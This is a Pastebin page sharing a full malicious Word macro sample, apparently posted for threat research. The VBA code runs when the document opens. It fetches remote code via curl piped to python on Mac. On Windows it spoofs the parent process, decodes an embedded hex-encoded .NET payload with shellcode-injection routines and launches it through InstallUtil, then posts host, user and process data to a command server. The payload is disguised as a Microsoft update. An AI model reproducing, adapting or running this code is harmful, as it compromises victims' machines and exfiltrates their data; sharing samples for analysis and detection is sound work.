SHARE
TWEET

[DOC/VBA threat] Uploaded by @JohnLaTwC

a guest Feb 2nd, 2017 1,346 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ## sample uploaded by @JohnLaTwC
  2. ## ecb0d5df442e54a31f9c926f10ff9abc0097760cbb4778a64cff6aee906f7c9c
  3. ===============================================================================
  4. #If Mac Then
  5. Private Sub Document_Open()
  6.     On Error Resume Next
  7.     MacScript "do shell script ""(curl -s " & Read("M") & "?token=" & Read("ID") & "'&'dm | nohup python &>/dev/null &)"""
  8.     ActiveDocument.Bookmarks("Page1").Range.Font.Hidden = False
  9. End Sub
  10.  
  11. #Else
  12.  
  13. Option Explicit
  14. Const TypeBinary = 1
  15. Const ForReading = 1, ForWriting = 2, ForAppending = 8
  16.  
  17. Private Type PROCESSENTRY32
  18. dwSize As Long
  19. cntUsage As Long
  20. th32ProcessID As Long
  21. th32DefaultHeapID As Long
  22. th32ModuleID As Long
  23. cntThreads As Long
  24. th32ParentProcessID As Long
  25. pcPriClassBase As Long
  26. dwFlags As Long
  27. szexeFile As String * 260
  28. End Type
  29.  
  30. #If VBA7 And Win64 Then
  31.  
  32. Private Type PROCESS_INFORMATION
  33.     hProcess As LongPtr
  34.     hThread As LongPtr
  35.     dwProcessId As Long
  36.     dwThreadId As Long
  37. End Type
  38.  
  39. Private Type STARTUP_INFO
  40.     cb As Long
  41.     lpReserved As String
  42.     lpDesktop As String
  43.     lpTitle As String
  44.     dwX As Long
  45.     dwY As Long
  46.     dwXSize As Long
  47.     dwYSize As Long
  48.     dwXCountChars As Long
  49.     dwYCountChars As Long
  50.     dwFillAttribute As Long
  51.     dwFlags As Long
  52.     wShowWindow As Integer
  53.     cbReserved2 As Integer
  54.     lpReserved2 As Byte
  55.     hStdInput As LongPtr
  56.     hStdOutput As LongPtr
  57.     hStdError As LongPtr
  58. End Type
  59.  
  60. Private Type STARTUPINFOEX
  61.  STARTUPINFO As STARTUP_INFO
  62.  lpAttributelist As LongPtr
  63. End Type
  64.  
  65. Private Declare PtrSafe Function CreateProcess Lib "kernel32" _
  66. Alias "CreateProcessA" (ByVal lpApplicationName As String, _
  67. ByVal lpCommandLine As String, _
  68. lpProcessAttributes As Long, _
  69. lpThreadAttributes As Long, _
  70. ByVal bInheritHandles As Long, _
  71. ByVal dwCreationFlags As Long, _
  72. lpEnvironment As Any, _
  73. ByVal lpCurrentDriectory As String, _
  74. ByVal lpStartupInfo As LongPtr, _
  75. lpProcessInformation As PROCESS_INFORMATION) As Long
  76.                                
  77. Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" _
  78.  (ByVal dwAccess As Long, _
  79.  ByVal fInherit As Integer, _
  80.  ByVal hObject As Long) As Long
  81.  
  82. Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" _
  83.  (ByVal dwFlags As Integer, _
  84.  ByVal th32ProcessID As Integer) As Long
  85.  
  86. Private Declare PtrSafe Function Process32First Lib "kernel32.dll" _
  87.  (ByVal hSnapshot As LongPtr, _
  88.  ByRef lppe As PROCESSENTRY32) As Boolean
  89.  
  90. Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" _
  91.  (ByVal hSnapshot As LongPtr, _
  92.  ByRef lppe As PROCESSENTRY32) As Boolean
  93.  
  94. Private Declare PtrSafe Function HeapAlloc Lib "kernel32" _
  95. (ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
  96. ByVal dwBytes As Long) As LongPtr
  97.  
  98. Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
  99.  
  100. Private Declare PtrSafe Function CloseHandle Lib "kernel32" _
  101.  (ByVal hObject As LongPtr) As Long
  102.  
  103. Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32" _
  104.  (ByVal lpAttributelist As LongPtr, _
  105.  ByVal dwAttributeCount As Integer, _
  106.  ByVal dwFlags As Integer, _
  107.  ByRef lpSize As Integer) As Boolean
  108.  
  109. Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32" _
  110.  (ByVal lpAttributelist As LongPtr, _
  111.  ByVal dwFlags As Integer, _
  112.  ByVal lpAttribute As Long, _
  113.  ByRef lpValue As Long, _
  114.  ByVal cbSize As Integer, _
  115.  ByRef lpPreviousValue As Integer, _
  116.  ByRef lpReturnSize As Integer) As Boolean
  117.  
  118. #Else
  119.  
  120. Private Type PROCESS_INFORMATION
  121.     hProcess As Long
  122.     hThread As Long
  123.     dwProcessId As Long
  124.     dwThreadId As Long
  125. End Type
  126.  
  127. Private Type STARTUP_INFO
  128.  cb As Long
  129.  lpReserved As String
  130.  lpDesktop As String
  131.  lpTitle As String
  132.  dwX As Long
  133.  dwY As Long
  134.  dwXSize As Long
  135.  dwYSize As Long
  136.  dwXCountChars As Long
  137.  dwYCountChars As Long
  138.  dwFillAttribute As Long
  139.  dwFlags As Long
  140.  wShowWindow As Integer
  141.  cbReserved2 As Integer
  142.  lpReserved2 As Long
  143.  hStdInput As Long
  144.  hStdOutput As Long
  145.  hStdError As Long
  146. End Type
  147.  
  148. Private Type STARTUPINFOEX
  149.  STARTUPINFO As STARTUP_INFO
  150.  lpAttributelist As Long
  151. End Type
  152.  
  153. Private Declare Function CreateProcess Lib "kernel32" _
  154.  Alias "CreateProcessA" _
  155.  (ByVal lpApplicationName As String, _
  156.  ByVal lpCommandLine As String, _
  157.  lpProcessAttributes As Any, _
  158.  lpThreadAttributes As Any, _
  159.  ByVal bInheritHandles As Long, _
  160.  ByVal dwCreationFlags As Long, _
  161.  lpEnvironment As Any, _
  162.  ByVal lpCurrentDriectory As String, _
  163.  ByVal lpStartupInfo As Long, _
  164.  lpProcessInformation As PROCESS_INFORMATION) As Long
  165.  
  166. Private Declare Function OpenProcess Lib "kernel32.dll" _
  167.  (ByVal dwAccess As Long, _
  168.  ByVal fInherit As Integer, _
  169.  ByVal hObject As Long) As Long
  170.  
  171. Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" _
  172.  (ByVal dwFlags As Integer, _
  173.  ByVal th32ProcessID As Integer) As Long
  174.  
  175. Private Declare Function Process32First Lib "kernel32.dll" _
  176.  (ByVal hSnapshot As Long, _
  177.  ByRef lppe As PROCESSENTRY32) As Boolean
  178.  
  179. Private Declare Function Process32Next Lib "kernel32.dll" _
  180.  (ByVal hSnapshot As Long, _
  181.  ByRef lppe As PROCESSENTRY32) As Boolean
  182.  
  183. Private Declare Function HeapAlloc Lib "kernel32" _
  184. (ByVal hHeap As Long, ByVal dwFlags As Long, _
  185. ByVal dwBytes As Long) As Long
  186.  
  187. Private Declare Function GetProcessHeap Lib "kernel32" () As Long
  188.  
  189. Private Declare Function CloseHandle Lib "kernel32" _
  190.  (ByVal hObject As Long) As Long
  191.  
  192. Private Declare Function InitializeProcThreadAttributeList Lib "kernel32" _
  193.  (ByVal lpAttributelist As Long, _
  194.  ByVal dwAttributeCount As Integer, _
  195.  ByVal dwFlags As Integer, _
  196.  ByRef lpSize As Integer) As Boolean
  197.  
  198. Private Declare Function UpdateProcThreadAttribute Lib "kernel32" _
  199.  (ByVal lpAttributelist As Long, _
  200.  ByVal dwFlags As Integer, _
  201.  ByVal lpAttribute As Long, _
  202.  ByRef lpValue As Long, _
  203.  ByVal cbSize As Integer, _
  204.  ByRef lpPreviousValue As Integer, _
  205.  ByRef lpReturnSize As Integer) As Boolean
  206.  
  207.  #End If
  208.  
  209. Const SYNCHRONIZE = 1048576
  210. Const NORMAL_PRIORITY_CLASS = &H20&
  211. Const CREATE_NO_WINDOW = &H8000000
  212. Const EXTENDED_STARTUPINFO_PRESENT = &H80000
  213. Const TH32CS_SNAPPROCESS = &H2&
  214. Const HEAP_ZERO_MEMORY = &H8&
  215. Const STARTF_USESHOWWINDOW = &H1&
  216. Const SW_HIDE = &H0&
  217. Const PROCESS_ALL_ACCESS = &H1F0FFF
  218. Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
  219.  
  220. Private Sub Document_Open()
  221.     On Error Resume Next
  222.    
  223.     Dim WshShell
  224.     Dim WshProcEnv
  225.     Dim system_architecture
  226.     Dim process_architecture
  227.  
  228.     Set WshShell = CreateObject("WScript.Shell")
  229.     Set WshProcEnv = WshShell.Environment("Process")
  230.  
  231.     process_architecture = WshProcEnv("PROCESSOR_ARCHITECTURE")
  232.  
  233.     If process_architecture = "x86" Then
  234.         system_architecture = WshProcEnv("PROCESSOR_ARCHITEW6432")
  235.  
  236.         If system_architecture = "" Then
  237.             system_architecture = "x86"
  238.         End If
  239.     Else
  240.         system_architecture = process_architecture
  241.     End If
  242.  
  243.     Const TypeBinary = 1, ForReading = 1, ForWriting = 2, ForAppending = 8
  244.  
  245.     Dim var64, var86
  246.     Dim d As String
  247.     d = Read("Hyperlink Base")
  248.     Dim da() As String
  249.     da = Split(d, "|", 2)
  250.     var64 = da(0)
  251.     var86 = da(1)
  252.  
  253.     Dim outFile1, outFile2, decoded, Gedvv2, newFolder, random_num, dir1, dir2, com
  254.  
  255.     Randomize
  256.     random_num = Int((25678 - (23 - 1)) * Rnd()) + 23
  257.     newFolder = Trim(Str(random_num))
  258.    
  259.     dir1 = Environ("APPDATA") & Read("OD")
  260.     dir2 = Environ("APPDATA") & Read("OD") & "\{" & newFolder & "}"
  261.    
  262.     If Len(Dir(dir1, vbDirectory)) = 0 Then
  263.         MkDir dir1
  264.     End If
  265.    
  266.     If Len(Dir(dir2, vbDirectory)) = 0 Then
  267.         MkDir dir2
  268.     End If
  269.    
  270.     ChDrive (dir2)
  271.     ChDir (dir2)
  272.     outFile1 = dir2 & "\" & Read("OF") & ".zip"
  273.     outFile2 = dir2 & "\" & Read("OF") & ".pkg"
  274.  
  275.     Dim pInfo As PROCESS_INFORMATION
  276.     Dim sInfo As STARTUPINFOEX
  277.     Dim sNull As String
  278.     Dim pid, r As Integer
  279.     Dim threadAttribSize As Integer
  280.  
  281. #If VBA7 And Win64 Then
  282.     Dim hProcess As LongPtr
  283. #Else
  284.     Dim hProcess As Long
  285. #End If
  286.  
  287.     r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
  288.     sInfo.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
  289.     r = InitializeProcThreadAttributeList(sInfo.lpAttributelist, 1, 0, threadAttribSize)
  290.     pid = GP("explorer.exe")
  291.     hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
  292.     r = UpdateProcThreadAttribute(sInfo.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hProcess, Len(hProcess), ByVal 0&, ByVal 0&)
  293.     sInfo.STARTUPINFO.cb = LenB(sInfo)
  294.     sInfo.STARTUPINFO.dwFlags = 1
  295.     sInfo.STARTUPINFO.wShowWindow = SW_HIDE
  296.    
  297.     If system_architecture = "AMD64" Then
  298.         decoded = DH(var64)
  299.         WB outFile1, decoded
  300.         UZ dir2, outFile1
  301.         com = Read("IU6") & " " & outFile2
  302.     Else
  303.         decoded = DH(var86)
  304.         WB outFile1, decoded
  305.         UZ dir2, outFile1
  306.         com = Read("IU3") & " " & outFile2
  307.     End If
  308.  
  309.     r = CreateProcess(sNull, com, ByVal 0&, ByVal 0&, 1&, EXTENDED_STARTUPINFO_PRESENT, ByVal 0&, sNull, VarPtr(sInfo), pInfo)
  310.     Dim blah As Long
  311.     blah = err.LastDllError
  312.     Dim objHTTP, res
  313.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  314.     objHTTP.Open "POST", Read("M"), False
  315.     objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
  316.     objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  317.     Dim ba() As Byte
  318.     ba = StrConv(Gather(), vbFromUnicode)
  319.     objHTTP.send ("&token=" & Read("ID") & "&session=" & EH(ba))
  320.     res = objHTTP.responseText
  321.     Set objHTTP = Nothing
  322.     Set res = Nothing
  323.     ActiveDocument.Bookmarks("Page1").Range.Font.Hidden = False
  324. End Sub
  325.  
  326. Function Gather() As String
  327.     On Error Resume Next
  328.     Dim computer As String
  329.     computer = "."
  330.     Dim objWMIService, colProcessList As Object
  331.     Set objWMIService = GetObject("winmgmts:\\" & computer & "\root\cimv2")
  332.     Set colProcessList = objWMIService.ExecQuery _
  333.         ("SELECT * FROM Win32_Process")
  334.     Dim result As String
  335.     result = Environ("ComputerName") & vbNewLine & Environ("UserDomain") & "\" & Environ("Username") & vbNewLine
  336.     Dim objProcess As Object
  337.     For Each objProcess In colProcessList
  338.         If Len(objProcess.ExecutablePath) > 0 Then
  339.             result = result & objProcess.ExecutablePath & vbNewLine
  340.         ElseIf Len(objProcess.name) > 0 Then
  341.             result = result & objProcess.name & vbNewLine
  342.         End If
  343.     Next
  344.     Gather = result
  345. End Function
  346.    
  347. Sub UZ(strTargetPath, Fname)
  348.     On Error Resume Next
  349.     Dim oApp As Object
  350.     Dim FileNameFolder As Variant
  351.     If Right(strTargetPath, 1) <> Application.PathSeparator Then
  352.         strTargetPath = strTargetPath & Application.PathSeparator
  353.     End If
  354.     FileNameFolder = strTargetPath
  355.     Set oApp = CreateObject("Shell.Application")
  356.     oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items
  357. End Sub
  358.  
  359. Private Function DH(hex)
  360.     On Error Resume Next
  361.     Dim DM, EL
  362.     Set DM = CreateObject("Microsoft.XMLDOM")
  363.     Set EL = DM.createElement("tmp")
  364.     EL.dataType = "bin.hex"
  365.     EL.Text = hex
  366.     DH = EL.nodeTypedValue
  367. End Function
  368.  
  369. Private Function EH(bytes)
  370.     On Error Resume Next
  371.     Dim DM, EL
  372.     Set DM = CreateObject("Microsoft.XMLDOM")
  373.     Set EL = DM.createElement("tmp")
  374.     EL.dataType = "bin.hex"
  375.     EL.nodeTypedValue = bytes
  376.     EH = EL.Text
  377. End Function
  378.  
  379. Private Sub WB(file, bytes)
  380.     On Error Resume Next
  381.     Dim binaryStream
  382.     Set binaryStream = CreateObject("ADODB.Stream")
  383.     binaryStream.Type = TypeBinary
  384.     binaryStream.Open
  385.     binaryStream.Write bytes
  386.     binaryStream.SaveToFile file, ForWriting
  387. End Sub
  388.  
  389. Private Function GP(ByVal name As String)
  390.     Dim tPid As Integer
  391.     Dim pEntry As PROCESSENTRY32
  392.     Dim RProcessFound As Boolean
  393.     pEntry.dwSize = Len(pEntry)
  394.    
  395. #If VBA7 And Win64 Then
  396.     Dim snapshot As LongPtr
  397. #Else
  398.     Dim snapshot As Long
  399. #End If
  400.     snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
  401.  
  402.     RProcessFound = Process32First(snapshot, pEntry)
  403.  
  404.     Do
  405.         If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
  406.             GP = pEntry.th32ProcessID
  407.             RProcessFound = False
  408.         Else
  409.             RProcessFound = Process32Next(snapshot, pEntry)
  410.         End If
  411.     Loop While RProcessFound
  412. End Function
  413.  
  414. Private Sub Document_Close()
  415.     On Error Resume Next
  416.     ActiveDocument.Bookmarks("Page1").Range.Font.Hidden = True
  417.     Documents.Save NoPrompt:=True
  418. End Sub
  419. #End If
  420.  
  421. Function Read(sPropName As String) As Variant
  422.  
  423. Dim bCustom As Boolean
  424. Dim sValue As String
  425.  
  426.   On Error GoTo ErrHandlerRead
  427.   sValue = ActiveDocument.BuiltInDocumentProperties(sPropName).Value
  428.   Read = sValue
  429.   Exit Function
  430.  
  431. ContinueCustom:
  432.   bCustom = True
  433.  
  434. Custom:
  435.   sValue = ActiveDocument.CustomDocumentProperties(sPropName).Value
  436.   Read = sValue
  437.   Exit Function
  438.  
  439. ErrHandlerRead:
  440.   err.Clear
  441.   If Not bCustom Then
  442.     Resume ContinueCustom
  443.   Else
  444.     Read = ""
  445.     Exit Function
  446.   End If
  447.  
  448. End Function
  449. ===============================================================================
  450. <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="2" name="OF"><vt:lpwstr>KB905682</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="3" name="OD"><vt:lpwstr>\Microsoft\Updates</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="4" name="IU6"><vt:lpwstr>C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /U /logfile= /LogToConsole=false /UpdateServer=https://irsdeliquent.com/index.php /ID=F7AMF3NN</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="5" name="IU3"><vt:lpwstr>C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /U /logfile= /LogToConsole=false /UpdateServer=https://irsdeliquent.com/index.php /ID=F7AMF3NN</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="6" name="M"><vt:lpwstr>https://irsdeliquent.com/index.php</vt:lpwstr></property><property fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" pid="7" name="ID"><vt:lpwstr>F7AMF3NN</vt:lpwstr></property></Properties>
  451. ===============================================================================
  452. <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal</Template><TotalTime>3</TotalTime><Pages>6</Pages><Words>1627</Words><Characters>9276</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>77</Lines><Paragraphs>21</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>10882</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinkBase>504b03041400000000003375fd48faea975e002c0000002c00000c0000004b423930353638322e706b674d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500006486020081bf9b570000000000000000f00022000b02300000240000000600000000000000000000002000000000004001000000002000000002000004000000000000000400000000000000008000000002000000000000030040850000400000000000004000000000000000001000000000000020000000000000000000001000000000000000000000000000000000000000006000009c050000000000000000000000000000000000000000000000000000c04000001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002e7465787400000008220000002000000024000000020000000000000000000000000000200000602e727372630000009c050000006000000006000000260000000000000000000000000000400000400000000000000000000000000000000000000000000000000000000000000000000000000000000048000000020005004c240000741c000001000000120000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001330040041000000010000110219281100000a0a1200281200000a0b07028e696a281300000a1f40120228070000062c1a07d006000002281400000a281500000a74060000026f1a000006172a0000001b300400330200000200001120001000008d2a0000010b02281600000a74110000010c0872010000706f1700000a08166f1800000a0820b80b00006f1900000a7e29000004252d17267e28000004fe061f000006731a00000a258029000004281b00000a086f1c00000a281d00000a6f1e00000a08281d00000a6f1f00000a720b000070037219000070282000000a0d282100000a1e330e097223000070282200000a0d2b0c097227000070282200000a0d282300000a096f2400000a130408722b0000706f2500000a0811048e696a6f2600000a16130538b200000000086f2700000a1307110711041611048e696f2800000ade0c11072c0711076f2900000adc191305dd850000002611052d1302281600000a74110000010c1f30282a00000a110517331b02726f000070727b0000706f2b00000a281600000a74110000010c110518330d168d2a0000011308dde80000000872010000706f1700000a08722b0000706f2500000a08166f1800000a0811048e696a6f2600000a0820b80b00006f1900000a110517581305de001105193f46ffffff086f2c00000a130911096f2d00000a130a732e00000a130b16130c110a0716078e696f2f00000a130c110b0716110c6f2800000a110c2de3110b6f3000000a0ade24110b2c07110b6f2900000adc110a2c07110a6f2900000adc11092c0711096f2900000adc283100000a066f3200000a7285000070283300000a130611066f3400000a2c1811066f3500000a176f3600000a6f3700000a283800000a2a168d2a0000012a11082a00014000000200da0010ea000c000000000000d2002cfe00850f0000010200a3012acd010c0000000002009c013dd9010c000000000200930152e5010c00000000133006002800000003000011028e698d2a0000010a160b2b1306070207910307038e695d9161d29c0717580b07028e6932e7062a1e02283900000a2a062a00001330030075000000040000112814000006162815000006260272af000070281700000674300000010a0272c9000070281700000674300000010b066f3a00000a2d012a0607280f0000060c088e2d012a1f0a8d2a00000125d01c000004283b00000a0d0809281000000613041104169120e80000002e012a11042801000006262a0000001b3002003b0000000500001102283c00000a2c2602283c00000a6f3d00000a2c1902283c00000a6f3d00000a036f3e00000a0a062c04060bde0bde0326de007e3f00000a2a072a000110000000000000303000030f0000011e02284000000a2a2e731e00000680280000042a0a172a0042534a4201000100000000000c00000076322e302e35303732370000000005006c000000580a0000237e0000c40a0000740d000023537472696e67730000000038180000d00000002355530008190000100000002347554944000000181900005c03000023426c6f620000000000000002000001579d02340902000000fa013300160000010000003e00000009000000290000001f000000440000004000000025000000110000000100000005000000030000000f000000010000000100000003000000040000000000d30601000000000006002b06dc0906009806dc0906005305aa090f00fc09000006007b05ee080600e905ee080600ca05ee0806007f06ee0806004b06ee0806006406ee0806009205ee0806006705bd0906004505bd090600ad05ee080600cb0b8a080600ca03bd090a006d0c150c0a003107b70a0600690807020a00c404150c0600630807020600fb048a080600460c8a08060059078a0806001c068a08060091088a0806002a05dc090a006707430d0600e4040b0a0a00b2080b0a0a00120b430d0a000606c4070e003b09de070600130dd60a06007c048a0806006f04bd090600a2098a080600b7048a080600e6038a080600bc07bd09060004058a080600b6068a080a00710c150c0a002709150c0a00670d150c0a009803150c0a007d0a150c06002a078a080600a3098a0806000d07880c0600be038a080a008604150c0a00f10cb70a0a001809b70a0a000009b70a0a00bc04b70a0600650c8a080600f40adc090600090d8a080600d3038a080e00a00cde070a001f0d4003000000004600000000000100010001001000b10a10093d000100010000001000790810093d001b001200010010004c04100985001b001400000100004f0000003d001c001900030100009700000059001d00190002010000650a000069001d001d0003211000c80200003d0028001d0013010000010000008d002a00200056806702ed015680dd01ed0156802902f00156807202f00156808001f00156808002f0015680ba01f00156809a00f00156808f01f00156808f02f00156802701f30156803401ed015680c701ed015680ac00ed015680a601ed015680bf00ed0156805a02f30156800b01f3015680e901f30156804e01f00156803702f30156807401f3015680a602f30156801102f3015680d800f0015680f801f30151800301f60133016e00f9010606b202f30156800d05fd015680ec02fd015680e208fd015680e502fd0156802205fd0156801604fd015680c208fd015680d108fd0156800107fd015680da07fd0136004200010216001e0005024820000000009600d90b090201000000000080009620cc020f0202000000000080009620d40c170206000000000080009620740b20020b000000000080009620e30c26020d0000000000800096208c032e0211000000000080009620ef0b350214000000000080009620300d3e0218000000000080009620f90248021d0000000000800096200c03540224000000000080009620f80366022e000000000080009620620b6b022f000000000080009620560b6f022f0000000000800096203e0b77023200982000000000960044047c02330018230000000096005a0c830235004c230000000086188009060037005423000000009100ad088c0237004c230000000086188009060038000000000080009120af0c6b0238000000000080009120c00c92023800582300000000c600fb0798023a00dc2300000000810070089f023b003424000000008618800906003c000000000003008618800967003c00000000000300c601b70306003e00000000000300c601b203a4023e00000000000300c601a803ac0240003c240000000091188609b20241004c2300000000861880090600410048240000000083002800b602410000000100820300000100910b00000200fa06000003009b0400000400fe0b000001004d0b00000200910b00000300fa06000004009b0400000500fe0b000001005304000002005b04000001004d0b00000200910b00000300fa0600000400640400000100910b00000200fa0600000300640400000100910b00000200fa0600000300080c02000400e00b000001004d0b00000200830b000003001e0900000400f406020005009608000001004d0b00000200390a00000300e806000004009b0b00000500450900000600550a02000700ed00000001002004000002008d0900000300200300000400aa0b020005003003020006002c0c000007009b0b00000800510902000900ed0002000a00f800000001003d0400000100220b000002002e0400000300d902000001004d0b000001003707000002005f0300000100ba02000002000f0d00000100780a00000100630300000200cb0c000001001705000001001c0900000100d20b00000200730300000100b30700000200d20b00000100530c00000100b60b00000200600c00000300bc08000004003c08090080090100110080090600190080090a00290080091000310080091000390080091000410080091000490080091000510080091000590080091000610080091500690080091000710080091000c90080090600d900800906000101800915008100d30221008100bf0b2a002901200c2e00310104043300410162093c005901f40460005901680310008900c506150059017c0c0100e1008009670061018b076d0059015d0d730071019a0a790069018a0a7f0059018a0a7f008101b80b86008901df068d008101b80b910091013900970091014c0a9d005901ac04100059014707a30059015208a80099002405ad009901dc04060061012708b50081017a03bc005901d004c200a1004008a800a900800906009900e702c700a900070dcf0091013a0c970091012707d400a9013107da00b101320be1009100e90ae500b9018108eb00c101bb06f200c9011607f60079008009060081013c070d01d101f70c11010901940c2001e901030b2601f10181082c018101570d31010901800906000b00040046010b0008004f0107000c005801070010005b01070014005e0107001800610107001c006401070020006701070024006a01070028006d0109002c0070010b00300075010b0034007e010b00380087010b003c0090010b004000990109004400a20109004800a70109004c00ac01070050006a0109005400b10109005800b60109005c00bb0109006000c001070064005b0109006800c50108006c00ca0109007800cf0109007c00a70109008000bb0109008400d40109008800c00109008c00d90109009000700109009400de0109009800e30109009c00e8012e000b00c1022e001300ca022e001b00e9022e002300f2022e002b00ff022e003300ff022e003b00ff022e004300f2022e004b0005032e005300ff022e005b00ff022e0063001d032e006b004703830083005403a3007b00cf01e3007300cf0103017b00cf0101000a00000009001a004600fc0002011b0105081d08120800010500cc02010000010700d40c010000010900740b010000010b00e30c010000010d008c03010000010f00ef0b010000011100300d010000011300f9020100000115000c03020000011700f803010000011900620b010000011b00560b010000011d003e0b010000012900af0c010000012b00c00c0300f84100001c00048000000100000000000000000000000000100900000200000000000000000000003401bf020000000002000000000000000000000034018a08000000000200000000000000000000003d01de07000000000600020007000200080002000900050000000000005f5f5374617469634172726179496e69745479706553697a653d3130003c3e395f5f34325f30003c47657446696c653e625f5f34325f30006765745f55544638003c3e39003c4d6f64756c653e003c50726976617465496d706c656d656e746174696f6e44657461696c733e003535313030394637384243444342374631423435463142373045394530363346323241344331454300534300504147455f455845435554455f5245414400494d4147455f53434e5f4d454d5f5245414400494d4147455f53434e5f4d454d5f4e4f545f4341434845440053455f50524956494c4547455f454e41424c4544006c705468726561644944006c70436c69656e7449440053575f4849444500494d4147455f46494c455f45584543555441424c455f494d41474500504147455f4e4f434143484500494d4147455f53434e5f4d454d5f4449534341524441424c4500494d4147455f444c4c4348415241435445524953544943535f44594e414d49435f42415345004d454d5f52454c4541534500504147455f52454144575249544500504147455f455845435554455f52454144575249544500494d4147455f53434e5f4d454d5f575249544500504147455f4558454355544500494d4147455f53434e5f4d454d5f45584543555445004d454d5f5245534552564500494d4147455f46494c455f444c4c004552524f525f4e4f5f544f4b454e0053797374656d2e494f00544f4b454e5f41444a5553545f50524956494c4547455300504147455f4e4f41434345535300494d4147455f444c4c4348415241435445524953544943535f4e585f434f4d504154004d454d5f4445434f4d4d4954004d454d5f434f4d4d495400504147455f524541444f4e4c5900504147455f5752495445434f505900504147455f455845435554455f5752495445434f505900544f4b454e5f51554552590076616c75655f5f0064617461006d73636f726c6962003c3e63005669727475616c416c6c6f6300647750726f63657373496400564d52656164004372656174655468726561640043726561746552656d6f74655468726561640052544c437265617465557365725468726561640063726561746553757370656e646564006c70537461636b52657365727665640053797374656d2e436f6c6c656374696f6e732e5370656369616c697a6564007569640068576e64007365745f4d6574686f64006d6574686f64005265706c616365007368656c6c636f6465005669727475616c467265650043726564656e7469616c436163686500456e64496e766f6b6500426567696e496e766f6b650049446973706f7361626c6500474348616e646c650052756e74696d654669656c6448616e646c650052756e74696d655479706548616e646c6500436c6f736548616e646c65004765745479706546726f6d48616e646c650044757048616e646c650050726f6365737348616e646c650062496e686572697448616e646c650068616e646c650047657446696c650053616d706c6500684d6f64756c650070726f634e616d65006477467265655479706500474348616e646c65547970650056616c75655479706500536563757269747950726f746f636f6c5479706500666c416c6c6f636174696f6e54797065007365745f436f6e74656e7454797065004361707475726500576562526573706f6e736500476574526573706f6e736500446973706f73650058353039436572746966696361746500437265617465004d756c74696361737444656c6567617465005465726d696e617465007361766564537461746500564d577269746500436f6d70696c657247656e65726174656441747472696275746500477569644174747269627574650044656275676761626c6541747472696275746500436f6d56697369626c6541747472696275746500417373656d626c795469746c6541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e4174747269627574650052756e496e7374616c6c657241747472696275746500466c61677341747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c6974794174747269627574650042797465006765745f56616c7565007365745f4b656570416c6976650057696e44726f702e657865006765745f53697a65006477537461636b53697a65006e53697a6500647753697a650053796e6368726f6e697a6500456e636f64696e670046726f6d426173653634537472696e6700476574537472696e67004d617463680070617468006765745f4c656e677468007365745f436f6e74656e744c656e677468004173796e6343616c6c6261636b0052656d6f7465436572746966696361746556616c69646174696f6e43616c6c6261636b007365745f536572766572436572746966696361746556616c69646174696f6e43616c6c6261636b0063616c6c6261636b004d61727368616c0053797374656d2e436f6d706f6e656e744d6f64656c00416c6c0053797374656d2e436f6e66696775726174696f6e2e496e7374616c6c00556e696e7374616c6c006b65726e656c33322e646c6c007573657233322e646c6c006e74